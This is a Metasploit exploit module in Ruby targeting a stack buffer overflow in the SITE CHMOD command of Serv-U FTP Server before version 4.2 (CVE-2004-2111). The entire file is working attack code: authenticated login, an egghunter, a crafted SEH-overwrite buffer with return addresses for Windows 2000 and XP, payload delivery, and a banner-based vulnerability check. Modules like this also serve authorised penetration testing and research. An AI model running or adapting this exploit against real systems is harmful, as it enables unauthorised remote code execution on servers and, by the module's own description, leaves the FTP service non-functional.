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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Egghunter
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  include Msf::Exploit::Remote::Ftp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Serv-U FTP Server Buffer Overflow',
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      'Description'    => %q{
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        This module exploits a stack buffer overflow in the site chmod command
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        in versions of Serv-U FTP Server prior to 4.2.
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        You must have valid credentials to trigger this vulnerability. Exploitation
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        also leaves the service in a non-functional state.
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      },
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      'Author'         => 'theLightCosine',
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2004-2111'],
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          [ 'OSVDB', '3713'],
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          [ 'BID', '9483'],
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Payload'        =>
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        {
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          'BadChars'    => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
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          'DisableNops' => true,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Windows 2000 SP0-4 EN', {
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            'Ret'    => 0x750212bc, #WS2HELP.DLL
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            'Offset' => 396 } ],
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          [ 'Windows XP SP0-1 EN', {
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            'Ret'    => 0x71aa388f, #WS2HELP.DLL
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            'Offset' => 394 } ]
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        ],
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      'DisclosureDate' => '2004-12-31',
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      'DefaultTarget'  => 0))
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  end
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  def check
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    connect
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    disconnect
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    if (banner =~ /Serv-U FTP Server v((4.(0|1))|3.\d)/)
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      return Exploit::CheckCode::Appears
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    end
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      return Exploit::CheckCode::Safe
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  end
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  def exploit
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    c = connect_login
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    return if not c
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    eggoptions =
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    {
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      :checksum => true,
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      :eggtag => "W00T"
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    }
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    hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
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    buffer = "chmod 777 "
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    buffer <<  make_nops(target['Offset'] - egg.length - hunter.length)
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    buffer << egg
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    buffer << hunter
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    buffer << "\xeb\xc9\x41\x41"	#nseh, jump back to egghunter
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    buffer << [target.ret].pack('V')	#seh
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    buffer << rand_text(5000)
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    print_status("Trying target #{target.name}...")
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    send_cmd( ['SITE', buffer] , false)
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    handler
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    disconnect
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  end
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end
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